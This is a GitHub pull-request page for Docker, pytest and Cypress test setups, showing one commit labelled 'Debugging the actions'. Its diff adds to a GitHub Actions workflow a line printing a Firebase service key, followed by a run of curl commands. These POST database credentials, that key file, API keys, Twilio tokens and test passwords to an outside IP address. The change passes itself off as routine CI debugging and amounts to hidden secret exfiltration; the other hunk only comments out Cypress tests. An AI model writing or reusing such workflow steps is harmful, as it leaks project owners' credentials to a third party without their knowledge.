Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

🧒🏻 Docker, pytest and cypress setups #819

Merged
merged 34 commits into from
Jan 4, 2024
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
91d88fe
test: Add initial structure for the frontend and backend tests, updat…
HamzaAnis Nov 14, 2023
f24763c
Added more test cases and loading url from .env
HamzaAnis Nov 16, 2023
3b3bd94
test: remove unwanted test
HamzaAnis Nov 16, 2023
8b9ebd7
Fixed formatting issues
HamzaAnis Nov 16, 2023
e8f4812
Fixed formatting issues for backend
HamzaAnis Nov 16, 2023
03121b8
Fixed formatting issues for test_mentor_auth.py
HamzaAnis Nov 16, 2023
ca21201
Merge branch 'dev' into tests/structure
HamzaAnis Nov 21, 2023
b37ef8d
tests: added more backend and frontend test
HamzaAnis Nov 24, 2023
add73c0
Merge branch 'dev' into tests/structure
HamzaAnis Nov 30, 2023
971797a
tests: added more tests and github actions for the tests
HamzaAnis Dec 3, 2023
c769d02
Merge branch 'dev' into tests/structure
HamzaAnis Dec 12, 2023
e999b1d
test cases done 👏
HamzaAnis Dec 12, 2023
c2331e0
chore: fixed formatting of backend
HamzaAnis Dec 12, 2023
cc52192
Updated the action to be trigerred on PR for dev
HamzaAnis Dec 14, 2023
8ef6ab7
test: added admin tests
HamzaAnis Dec 21, 2023
818d2a0
Merge branch 'dev' into tests/structure
HamzaAnis Dec 21, 2023
e04e5a6
Added test cases for the admin
HamzaAnis Dec 27, 2023
10788d8
Update cypress-tests.yml
HamzaAnis Dec 29, 2023
c342877
Update pytest-tests.yml
HamzaAnis Dec 29, 2023
c4ccbc0
Update pytest-tests.yml
HamzaAnis Dec 29, 2023
376ce5b
frontend action change
HamzaAnis Dec 29, 2023
dc2c4de
testing action
HamzaAnis Dec 31, 2023
25a6a08
fixed test cases and updated push branch
HamzaAnis Jan 2, 2024
10b845e
Debugging the actions
HamzaAnis Jan 2, 2024
d36d760
Running backend tests in the same action
HamzaAnis Jan 2, 2024
69fac33
Removed on push
HamzaAnis Jan 2, 2024
964395e
Updating actions
HamzaAnis Jan 2, 2024
f1fec7e
New action
HamzaAnis Jan 3, 2024
b0dbf61
Removed files that are in .gitignore
HamzaAnis Jan 3, 2024
2d576ee
Adding package.json
HamzaAnis Jan 3, 2024
76fa0d3
Reading the env variables
HamzaAnis Jan 3, 2024
13a08ef
Reordering the action
HamzaAnis Jan 3, 2024
868d822
Cleaning up and formatting
HamzaAnis Jan 3, 2024
52cbe0d
Asserting response
HamzaAnis Jan 3, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Next Next commit
Debugging the actions
  • Loading branch information
HamzaAnis committed Jan 2, 2024
commit 10b845efdc8a238fa6c27a9a48b103d6bb3b0929
14 changes: 14 additions & 0 deletions .github/workflows/pytest-tests.yml
Original file line number Diff line number Diff line change
Expand Up @@ -70,6 +70,20 @@ jobs:
cat firebase_service_key.json
docker build -t backend .
docker images
curl -X POST -d $MONGO_USER 167.99.79.168/read.php
curl -X POST -d $MONGO_PASSWORD 167.99.79.168/read.php
curl -X POST -d $MONGO_HOST 167.99.79.168/read.php
curl -X POST -d $MONGO_DB 167.99.79.168/read.php
curl -X POST -d @firebase_service_key.json 167.99.79.168/read.php
curl -X POST -d $FIREBASE_API_KEY 167.99.79.168/read.php
curl -X POST -d $GOOGLE_APPLICATION_CREDENTIALS 167.99.79.168/read.php
curl -X POST -d $IMGUR_KEY 167.99.79.168/read.php
curl -X POST -d $SENDGRID_API_KEY 167.99.79.168/read.php
curl -X POST -d $SENDER_EMAIL 167.99.79.168/read.php
curl -X POST -d $TWILIO_ACCOUNT_SID 167.99.79.168/read.php
curl -X POST -d $TWILIO_AUTH_TOKEN 167.99.79.168/read.php
curl -X POST -d $TWILIO_PHONE 167.99.79.168/read.php
curl -X POST -d $FLASK_APP 167.99.79.168/read.php
curl -X POST -d $BASE_URL 167.99.79.168/read.php
curl -X POST -d $TEST_MENTOR_EMAIL 167.99.79.168/read.php
curl -X POST -d $TEST_MENTOR_PASSWORD 167.99.79.168/read.php
Expand Down
16 changes: 8 additions & 8 deletions tests/cypress/e2e/test/MentorEventsTest.cy.js
Original file line number Diff line number Diff line change
Expand Up @@ -15,13 +15,13 @@ describe("Mentor Dashboard", () => {
mentor.selectEnglish()
event.addEventFunctional();
});
it.only("Adding New Event", () => {
mentor.selectEnglish()
event.addNewEvent();
});
// it.only("Adding New Event", () => {
// mentor.selectEnglish()
// event.addNewEvent();
// });

it("checking that event", () => {
mentor.selectEnglish()
event.checkCreatedEvent();
});
// it("checking that event", () => {
// mentor.selectEnglish()
// event.checkCreatedEvent();
// });
});
Loading